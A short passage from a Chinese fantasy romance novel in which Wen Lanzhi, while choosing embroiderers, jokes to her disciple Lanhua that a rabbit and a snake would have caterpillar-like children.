她觉得每个绣工都好厉害,挑花了眼,根本挑不出来。 如果让这些绣工一起上的话,价格又有点贵。 兰花传完飞书,转过头来,问道:“师祖,你以后和邬公子会有孩子吗?” “呃……”温兰枝想了一会儿,旁边的绣工盯着她眯眯笑。 温兰枝道:“应该不会吧?” 兰花问道:“为什么呀?” 温兰枝道:“我是兔子,邬公子不是兔子,生出来的万一是长毛的蛇怎么办。” 她现在已经完全接受这个说法了,“像毛毛虫。” 兰花:“……” 绣工:“……” 兔子和蛇会生毛毛虫。 闻所未闻啊闻所未闻。